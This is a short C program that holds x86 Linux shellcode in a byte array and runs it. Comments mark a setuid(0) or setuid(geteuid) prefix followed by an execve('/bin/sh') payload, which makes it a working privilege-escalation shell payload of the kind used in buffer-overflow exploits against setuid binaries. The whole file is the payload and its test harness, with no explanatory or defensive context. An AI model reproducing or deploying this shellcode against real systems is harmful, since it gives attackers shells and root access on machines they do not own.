#include <stdio.h>
#include <stdlib.h>

// status of %esi:
//
//  / b i n / s h 0  [adr of /bin/sh]  [adr of env (0)]
//  0 1 2 3 4 5 6 7     8  9  A  B        C  D  E  F 
//

u_char c0de[] =
	// Next do a setuid(geteuid)
	"\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80"
	// OR next do a setuid(0)
	"\x31\xdb\x31\xc0\xb0\x17\xcd\x80"
	// Shell code:
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07"
	"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
	"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";


main()
{
  void (*sc)() = (void *)c0de;
  printf("%d bytes\n", strlen(c0de));
  sc();
}